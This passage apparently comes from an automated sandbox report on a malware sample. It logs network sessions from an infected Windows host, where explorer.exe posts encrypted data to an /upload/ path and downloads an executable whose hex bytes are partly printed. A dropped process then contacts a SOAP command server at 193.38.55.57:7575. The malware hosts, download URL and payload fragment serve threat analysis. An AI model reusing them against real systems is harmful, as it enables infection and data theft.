6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.7	49740	148.101.76.245	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 21, 2021 21:46:38.005906105 CEST	13420	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 214 Host: atvcampingtrips.com
Aug 21, 2021 21:46:38.005949974 CEST	13421	OUT	Data Raw: 39 6e 23 66 8c b8 1b 23 da ab c7 03 74 05 0f cc 78 79 ce e2 1a 04 e1 64 7c 0b 0f e5 34 c3 c0 18 e8 2e c1 29 72 19 22 1b e7 99 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 01 6b 2c 90 f5 76 0b 75 2d 0c bc ec Data Ascii: 9n#f#txyd\|4.)r"?$`7C[zqNA -[k,vu-nm4#Gq+=s\!D7U7;(V{paUT$3C-FWFG&P3tG%
Aug 21, 2021 21:46:38.720841885 CEST	13421	IN	HTTP/1.0 404 Not Found Date: Sat, 21 Aug 2021 19:46:38 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.7	49741	148.101.76.245	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 21, 2021 21:46:39.350886106 CEST	13422	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 222 Host: atvcampingtrips.com
Aug 21, 2021 21:46:39.350902081 CEST	13423	OUT	Data Raw: 39 6e 23 66 8c b8 1b 23 da ab c7 03 74 05 0f cc 78 79 ce e2 1a 04 e1 64 7c 0b 0f e5 34 c3 c0 18 e8 2e c1 29 72 19 22 1b e7 99 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 06 6b 2c 90 f5 76 0b 75 20 15 a4 aa Data Ascii: 9n#f#txyd\|4.)r"?*$`7C[zqNA -[k,vu VWuXnlQ\|5-7TN{~C]3R>N-x\|/[hf.XNwS/KSkea5
Aug 21, 2021 21:46:40.059688091 CEST	13423	IN	HTTP/1.0 404 Not Found Date: Sat, 21 Aug 2021 19:46:39 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.7	49742	148.101.76.245	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 21, 2021 21:46:40.802294970 CEST	13424	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 338 Host: atvcampingtrips.com
Aug 21, 2021 21:46:40.802335978 CEST	13425	OUT	Data Raw: 39 6e 23 66 8c b8 1b 23 da ab c7 03 74 05 0f cc 78 79 ce e2 1a 04 e1 64 7c 0b 0f e5 34 c3 c0 18 e8 2e c1 29 72 19 22 1b e7 99 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 07 6b 2c 90 f5 76 0b 75 5a 32 d8 bb Data Ascii: 9n#f#txyd\|4.)r"?$`7C[zqNA -[k,vuZ20d^EoI!#'1FL@#p[t2@Imd'5 Y"~Y):wy{A`V8+6CEAFT5"
Aug 21, 2021 21:46:41.509047985 CEST	13425	IN	HTTP/1.0 404 Not Found Date: Sat, 21 Aug 2021 19:46:41 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 56 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 d0 9e 5c 2d 5e 24 17 a7 60 44 aa af 15 bd cc ba e5 20 98 21 d2 b7 2a 57 14 8b 8f 9c 81 77 d1 38 1c 1f 9a 50 c4 5c 7e 56 Data Ascii: #\-^$`D !*Ww8P\~V

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.7	49707	148.101.76.245	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 21, 2021 21:45:55.693383932 CEST	1378	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 190 Host: atvcampingtrips.com
Aug 21, 2021 21:45:55.694509983 CEST	1379	OUT	Data Raw: 39 6e 23 66 8c b8 1b 23 da ab c7 03 74 05 0f cc 78 79 ce e2 1a 04 e1 64 7c 0b 0f e5 34 c3 c0 18 e8 2e c1 29 72 19 22 1b e7 99 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0b 6b 2c 90 f5 76 0b 75 39 01 d4 8d Data Ascii: 9n#f#txyd\|4.)r"?*$`7C[zqNA -[k,vu9\AloP$=mX/y!+:0KLPF{xd,._V>1h
Aug 21, 2021 21:45:56.388920069 CEST	1380	IN	HTTP/1.0 404 Not Found Date: Sat, 21 Aug 2021 19:45:56 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.7	49743	45.138.172.28	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 21, 2021 21:46:43.000843048 CEST	13426	OUT	GET /blog/images/sefile2.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: 45.138.172.28
Aug 21, 2021 21:46:43.028125048 CEST	13428	IN	HTTP/1.1 200 OK Date: Sat, 21 Aug 2021 19:46:43 GMT Server: Apache/2.4.37 (centos) Last-Modified: Sat, 21 Aug 2021 19:30:01 GMT ETag: "4f400-5ca16cf704fcd" Accept-Ranges: bytes Content-Length: 324608 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 df 57 1e 39 9b 36 70 6a 9b 36 70 6a 9b 36 70 6a 85 64 e5 6a 8a 36 70 6a 85 64 f3 6a f7 36 70 6a 85 64 f4 6a ad 36 70 6a bc f0 0b 6a 9c 36 70 6a 9b 36 71 6a 15 36 70 6a 85 64 fa 6a 9a 36 70 6a 85 64 e4 6a 9a 36 70 6a 85 64 e1 6a 9a 36 70 6a 52 69 63 68 9b 36 70 6a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 bc 2a 59 5e 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 ca 01 00 00 cc fa 01 00 00 00 00 60 21 00 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 a0 fb 01 00 04 00 00 30 b5 05 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 c8 5a 02 00 50 00 00 00 00 c0 fa 01 d0 d2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 e2 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 51 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 40 c9 01 00 00 10 00 00 00 ca 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 8e 86 00 00 00 e0 01 00 00 88 00 00 00 ce 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 9c 44 f8 01 00 70 02 00 00 ca 01 00 00 56 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d0 d2 00 00 00 c0 fa 01 00 d4 00 00 00 20 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 25 d8 e0 41 00 cc cc cc Data Ascii: MZ@!L!This program cannot be run in DOS mode.$W96pj6pj6pjdj6pjdj6pjdj6pjj6pj6qj6pjdj6pjdj6pjdj6pjRich6pjPEL*Y^`!@0ZPPhQ@.text@ `.rdata@@.dataDpV@.rsrc @@%A
Aug 21, 2021 21:46:43.028142929 CEST	13429	IN	Data Raw: cc cc cc cc cc cc cc 8b ff 55 8b ec 83 ec 40 83 7d 0c 00 75 1c 83 7d 10 00 76 16 83 7d 08 00 74 09 8b 45 08 c7 00 00 00 00 00 33 c0 e9 d1 02 00 00 83 7d 08 00 74 09 8b 4d 08 c7 01 ff ff ff ff ba ff ff ff 7f 3b 55 10 1b c0 83 c0 01 89 45 ec 75 1e Data Ascii: U@}u}v}tE3}tM;UEuhHAjjJhAj9u}u0l9jjJhAhAhHA6\URMUM]xM~C}t}vURjEP58
Aug 21, 2021 21:46:43.028158903 CEST	13431	IN	Data Raw: 83 79 08 00 74 61 8b 55 08 83 7a 04 00 74 4c 8b 45 08 8b 48 04 51 e8 32 59 00 00 83 c4 04 83 c0 01 89 45 fc 8b 55 fc 52 e8 10 01 00 00 83 c4 04 8b 4d f8 89 41 04 8b 55 f8 83 7a 04 00 74 1a 8b 45 08 8b 48 04 51 8b 55 fc 52 8b 45 f8 8b 48 04 51 e8 Data Ascii: ytaUztLEHQ2YEURMAUztEHQUREHQVUBEMQPE]UQME\|AMytUBPy]UQMExtMAA]UjjEPX]
Aug 21, 2021 21:46:43.028173923 CEST	13432	IN	Data Raw: 45 f8 8b 08 c6 01 00 33 d2 81 e2 ff 00 00 00 89 55 c8 8b 45 f8 8b 08 83 c1 01 8b 55 f8 89 0a eb 11 8b 45 f8 50 6a 00 e8 e7 67 00 00 83 c4 08 89 45 c8 83 7d c8 ff 74 56 8b 4d f8 8b 51 04 83 ea 01 8b 45 f8 89 50 04 8b 4d f8 83 79 04 00 7c 22 8b 55 Data Ascii: E3UEUEPjgE}tVMQEPMy\|"U3MUMURjgE}tE 3MUfDJEx}]UEPMQUREPMQhP@E}}EUU
Aug 21, 2021 21:46:43.028191090 CEST	13433	IN	Data Raw: 8b 4d e4 8b 51 14 81 e2 ff ff 00 00 83 fa 04 74 41 8b 45 e4 83 78 14 01 74 38 8b 4d e4 8b 51 14 81 e2 ff ff 00 00 83 fa 02 74 27 8b 45 e4 83 78 14 03 74 1e 68 a8 e5 41 00 6a 00 6a 34 68 40 e5 41 00 6a 02 e8 50 2a 00 00 83 c4 14 83 f8 01 75 01 cc Data Ascii: MQtAExt8MQt'ExthAjj4h@AjPuUBPMQwEjMdY_^[]UQ3}E}uh\AjjGhAj)u}u_)jjGhAhAh\A
Aug 21, 2021 21:46:43.028207064 CEST	13435	IN	Data Raw: c0 75 0d 8b 4d 1c c7 01 0c 00 00 00 33 c0 eb 02 eb a3 8b e5 5d c3 cc cc cc cc cc cc cc cc cc 8b ff 55 8b ec 6a fe 68 a0 53 42 00 68 70 80 40 00 64 a1 00 00 00 00 50 83 c4 e4 53 56 57 a1 e4 77 42 00 31 45 f8 33 c5 50 8d 45 f0 64 a3 00 00 00 00 c7 Data Ascii: uM3]UjhSBhp@dPSVWwB1E3PEdEEjE=,8DvU,8D98Du6u!hAjhyhAj$u8D8D8D0pBE=4pBtM;4pBu=4zBt
Aug 21, 2021 21:46:43.028223991 CEST	13436	IN	Data Raw: 04 c7 45 fc 00 00 00 00 6a 01 8b 45 18 50 8b 4d 14 51 8b 55 10 52 8d 45 0c 50 8b 4d 08 51 e8 42 00 00 00 83 c4 18 89 45 e4 c7 45 fc fe ff ff ff e8 02 00 00 00 eb 0b 6a 04 e8 d7 81 00 00 83 c4 04 c3 8b 45 e4 8b 4d f0 64 89 0d 00 00 00 00 59 5f 5e Data Ascii: EjEPMQUREPMQBEEjEMdY_^[]UEEM}uUREPMQURN}t}uEPMQ3=,8DvV,8D98Du6$u!hAjhh
Aug 21, 2021 21:46:43.028239965 CEST	13437	IN	Data Raw: 75 08 8b 55 f0 3b 55 f4 74 21 68 e8 e8 41 00 6a 00 68 83 03 00 00 68 90 e7 41 00 6a 02 e8 c9 1a 00 00 83 c4 14 83 f8 01 75 01 cc 8b 4d f0 3b 4d f4 74 06 83 7d f8 00 74 08 8b 45 ec e9 df 00 00 00 8b 55 f0 83 3a 00 74 10 8b 45 f0 8b 08 8b 55 f0 8b Data Ascii: uU;Ut!hAjhhAjuM;Mt}tEU:tEUBA88D;Mt!hAjhhAjouEH8DUztEHU78D;Mt!h\|AjhhAjuE8D=8Dt8DE
Aug 21, 2021 21:46:43.028259993 CEST	13439	IN	Data Raw: 14 02 75 0d 83 7d 0c 01 75 07 c7 45 0c 02 00 00 00 8b 4d fc 8b 51 14 3b 55 0c 74 21 68 14 ec 41 00 6a 00 68 72 05 00 00 68 90 e7 41 00 6a 02 e8 7d 15 00 00 83 c4 14 83 f8 01 75 01 cc 8b 4d fc 8b 15 24 38 44 00 2b 51 10 89 15 24 38 44 00 a1 28 70 Data Ascii: u}uEMQ;Ut!hAjhrhAj}uM$8D+Q$8D(pBM9tUMQP68D;Et!hAjhhAjuUB8DMytUBM58D;Et!hAjhhAjuU
Aug 21, 2021 21:46:43.029179096 CEST	13440	IN	Data Raw: 75 18 8b 45 e4 8b 48 14 81 e1 ff ff 00 00 8b 14 8d bc e6 41 00 89 55 d4 eb 07 c7 45 d4 58 f1 41 00 6a 04 0f b6 05 38 70 42 00 50 8b 4d e4 83 c1 1c 51 e8 d0 fd ff ff 83 c4 0c 85 c0 75 7a 8b 55 e4 83 7a 08 00 74 3d 8b 45 e4 8b 48 0c 51 8b 55 e4 8b Data Ascii: uEHAUEXAj8pBPMQuzUzt=EHQUBPM QUBPMQhAjjjjN(u-E PMQREPhAjjjj uEj8pBREHUD P2uzMyt=UBPMQR
Aug 21, 2021 21:46:43.057178974 CEST	13442	IN	Data Raw: 24 f4 41 00 68 48 f4 41 00 e8 5f 08 00 00 83 c4 14 e9 6d 01 00 00 6a 04 e8 d0 6c 00 00 83 c4 04 c7 45 fc 00 00 00 00 8b 55 08 a1 1c 38 44 00 89 02 c7 45 e4 00 00 00 00 eb 09 8b 4d e4 83 c1 01 89 4d e4 83 7d e4 05 7d 1e 8b 55 e4 8b 45 08 c7 44 90 Data Ascii: $AhHA_mjlEU8DEMM}}UEDMUD8DEMU}EH\|fUB%}VMQELUB%ULEHUDMAUJUD

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.7	49744	193.38.55.57	7575	C:\Users\user\AppData\Local\Temp\ABA5.exe

Timestamp	kBytes transferred	Direction	Data
Aug 21, 2021 21:46:44.657900095 CEST	13763	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment" Host: 193.38.55.57:7575 Content-Length: 11620 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 21, 2021 21:46:44.685888052 CEST	13763	IN	HTTP/1.1 100 Continue
Aug 21, 2021 21:46:44.787358999 CEST	13775	IN	HTTP/1.1 200 OK Content-Length: 147 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Sat, 21 Aug 2021 19:46:44 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 53 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 2f 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><SetEnvironmentResponse xmlns="http://tempuri.org/"/></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.7	49745	193.38.55.57	7575	C:\Users\user\AppData\Local\Temp\ABA5.exe

Timestamp	kBytes transferred	Direction	Data
Aug 21, 2021 21:46:44.848426104 CEST	13776	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetUpdates" Host: 193.38.55.57:7575 Content-Length: 1390 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Aug 21, 2021 21:46:44.875329971 CEST	13776	IN	HTTP/1.1 100 Continue
Aug 21, 2021 21:46:44.938179016 CEST	13778	IN	HTTP/1.1 200 OK Content-Length: 261 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Sat, 21 Aug 2021 19:46:44 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns="http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/></GetUpdatesResponse></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.7	49746	187.190.48.60	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 21, 2021 21:46:45.135911942 CEST	13779	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 210 Host: atvcampingtrips.com
